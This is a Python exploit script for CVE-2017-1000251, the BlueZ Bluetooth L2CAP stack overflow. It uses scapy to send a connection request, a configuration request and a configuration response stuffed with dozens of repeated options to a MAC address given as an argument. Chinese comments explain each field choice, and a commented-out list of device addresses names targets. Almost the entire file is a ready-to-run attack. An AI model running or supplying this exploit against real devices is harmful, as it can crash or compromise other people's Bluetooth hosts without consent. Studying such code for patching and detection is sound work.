#!/usr/bin/env python3

# Usage 
#     ./CVE-2017-1000251_exploit.py <MAC_ADDR>
#
# Example
#     ./CVE-2017-1000251_exploit.py 00:11:22:98:76:54

import sys
import time

from scapy.layers.bluetooth import L2CAP_CmdHdr
from scapy.layers.bluetooth import L2CAP_ConnReq
from scapy.layers.bluetooth import L2CAP_ConfReq
from scapy.layers.bluetooth import L2CAP_ConfResp
from scapy.layers.bluetooth import BluetoothL2CAPSocket


# Construct a connection request packet
#
# identifier
#     由于该 packet 是 request packet，所以 identifier 随便设，
#     不为 0x00 就行。然后丢给 response 端去匹配。
#
# PSM
#     0x0001 代表 SDP 协议。
#     指明了新建立的连接将为上层的 SDP 协议提供服务。
#     
#     选 SDP 协议是最靠谱的，因为所有 device 都会支持。设置成
#     0x0003 一般也行，表示 RFCOMM 协议。当 PSM 的值不被 target 
#     接受时，target 会在 connection response 中返回 PSM not 
#     supported，比如设置成动态分配的 PSM 0x1111。这会导致攻击失败。
#
# Source CID
#     我们选择 0x0040 作为新连接的本地 channel，并把它告诉 target host。
#
#     选择 0x0040 做为 scid 的原因是它是我们本地可用 dynamically allocated 
#     channel 中最小的一个，应该先被使用。BlueZ 也是按这个规矩分配 channel 的。
#
#     当 target 收到 connection request 后，若自己所有 dynamically 
#     allocated channel 0x0040-0xFFFF 都可用，那么它也会选择最小的 0x0040 
#     作为自己一端 channel。在这种情况下，当我们把 scid 设为其他合法值，
#     比如 0x0050 时，target 也会为自己分配 0x0040。
# 
#     待 target 回复 connection response 后，一个未配置通信参数的连接 
#     local 0x0040 <--> target 0x0040 便建立了起来。
cmd_hdr = L2CAP_CmdHdr(code=0x02, id=0x01)
data = L2CAP_ConnReq(
    psm=0x0001,
    scid=0x0040
)

conn_req_pkt = cmd_hdr/data
#print("Malicious Connection Request:", str(len(conn_req_pkt)), "bytes")
#print(conn_req_pkt, '\n')


# Construct a configuration request packet
#
# 该 configuration request 用于使 target 进入 Pending state
#
# identifier
#     由于该 packet 是 request packet，所以 identifier 随便设，
#     不为 0x00 就行。然后丢给 response 端去匹配。
#
# Destination CID
#     指明了该 packet 用于配置 local --> target dcid=0x0040
#     这条链路的单向通信规范。
#     
#     由于先前 target 返回的 connection response 指明自己使用
#     的 channel 为 0x0040，所以这里我们必须选用 0x0040 作为 dcid。
cmd_hdr = L2CAP_CmdHdr(code=0x04, id=0x02)
data = L2CAP_ConfReq(
    dcid=0x0040,
    flags=0x0000, 
    # Configuration Options: Extended Flow Specification Option
    type=0x06,
    length=16,
    identifier=0x01,
    servicetype=0x00, # No traffic
    sdusize=0xffff,
    sduarrtime=0xffffffff,
    accesslat=0xffffffff,
    flushtime=0xffffffff
)

config_req_pkt = cmd_hdr/data
#print("Malicious Configuration Request:", str(len(config_req_pkt)), "bytes")
#print(config_req_pkt, '\n')


# Construct a configuration response packet
#
# identifier
#     怎么配置？为什么可以配成 0x03
#
# Source CID
#     因为该 configuration response 用于响应 target 发
#     送的 configuration request，所以这里的 scid 指的是 
#     target 一端的 channel，即必须选择先前 target 给自己
#     分配的 0x0040。
cmd_hdr = L2CAP_CmdHdr(code=0x05, id=0x03)
data = L2CAP_ConfResp(
    scid=0x0040,
    flags=0x0000,
    result=0x0004,
    # Config
    type0=1, length0=2, option0=2000,
    type1=1, length1=2, option1=2000,
    type2=1, length2=2, option2=2000,
    type3=1, length3=2, option3=2000,
    type4=1, length4=2, option4=2000,
    type5=1, length5=2, option5=2000,
    type6=1, length6=2, option6=2000,
    type7=1, length7=2, option7=2000,
    type8=1, length8=2, option8=2000,
    type9=1, length9=2, option9=2000,
    type10=1, length10=2, option10=2000,
    type11=1, length11=2, option11=2000,
    type12=1, length12=2, option12=2000,
    type13=1, length13=2, option13=2000,
    type14=1, length14=2, option14=2000,
    type15=1, length15=2, option15=2000,
    type16=1, length16=2, option16=2000,
    type17=1, length17=2, option17=2000,
    type18=1, length18=2, option18=2000,
    type19=1, length19=2, option19=2000,
    type20=1, length20=2, option20=2000,
    type21=1, length21=2, option21=2000,
    type22=1, length22=2, option22=2000,
    type23=1, length23=2, option23=2000,
    type24=1, length24=2, option24=2000,
    type25=1, length25=2, option25=2000,
    type26=1, length26=2, option26=2000,
    type27=1, length27=2, option27=2000,
    type28=1, length28=2, option28=2000,
    type29=1, length29=2, option29=2000,
    type30=1, length30=2, option30=2000,
    type31=1, length31=2, option31=2000,
    type32=1, length32=2, option32=2000,
    type33=1, length33=2, option33=2000,
    type34=1, length34=2, option34=2000,
    type35=1, length35=2, option35=2000,
    type36=1, length36=2, option36=2000,
    type37=1, length37=2, option37=2000,
    type38=1, length38=2, option38=2000,
    type39=1, length39=2, option39=2000,
    type40=1, length40=2, option40=2000,
    type41=1, length41=2, option41=2000,
    type42=1, length42=2, option42=2000,
    type43=1, length43=2, option43=2000,
    type44=1, length44=2, option44=2000,
    type45=1, length45=2, option45=2000,
    type46=1, length46=2, option46=2000,
    type47=1, length47=2, option47=2000,
    type48=1, length48=2, option48=2000,
    type49=1, length49=2, option49=2000,
    type50=1, length50=2, option50=2000,
    type51=1, length51=2, option51=2000,
    type52=1, length52=2, option52=2000,
    type53=1, length53=2, option53=2000,
    type54=1, length54=2, option54=2000,
    type55=1, length55=2, option55=2000,
    type56=1, length56=2, option56=2000,
    type57=1, length57=2, option57=2000,
    type58=1, length58=2, option58=2000,
    type59=1, length59=2, option59=2000,
    type60=1, length60=2, option60=2000,
    type61=1, length61=2, option61=2000,
    type62=1, length62=2, option62=2000,
    type63=1, length63=2, option63=2000,
    type64=1, length64=2, option64=2000,
    type65=1, length65=2, option65=2000,
    type66=1, length66=2, option66=2000,
    type67=1, length67=2, option67=2000,
    type68=1, length68=2, option68=2000,
    type69=1, length69=2, option69=2000
)

config_rsp_pkt = cmd_hdr/data
#print("Malicious Configuration Response:", str(len(config_rsp_pkt)), "bytes")
#print(config_rsp_pkt, '\n')


pkts_seq = [
    conn_req_pkt,
    config_req_pkt,
    config_rsp_pkt
]


target_addrs = [
    #'00:1A:7D:DA:71:13', # DESKTOP-KT9CMFL
    #'B4:AE:2B:CD:20:CF', # SURFACE
    #'9C:43:1E:04:16:F7', # JBLT280BT
    #'34:88:5D:7E:90:65', # Keyboard K480
    #'34:02:86:E1:E1:EA', # HANLS-PC
    #'00:11:22:98:76:54', # usb bluetooth adapter
]
target_addrs.append(sys.argv[1])


if __name__ == "__main__":
    for target_addr in target_addrs:
        print("attacking " + target_addr + "... ... ", end='')

        # Send Information Request, and receive Information Response.
        bt = BluetoothL2CAPSocket(target_addr)

        for ptk in pkts_seq:
            result = bt.send(ptk)
            #print(result)

            #time.sleep(1)

        print("DONE\n")
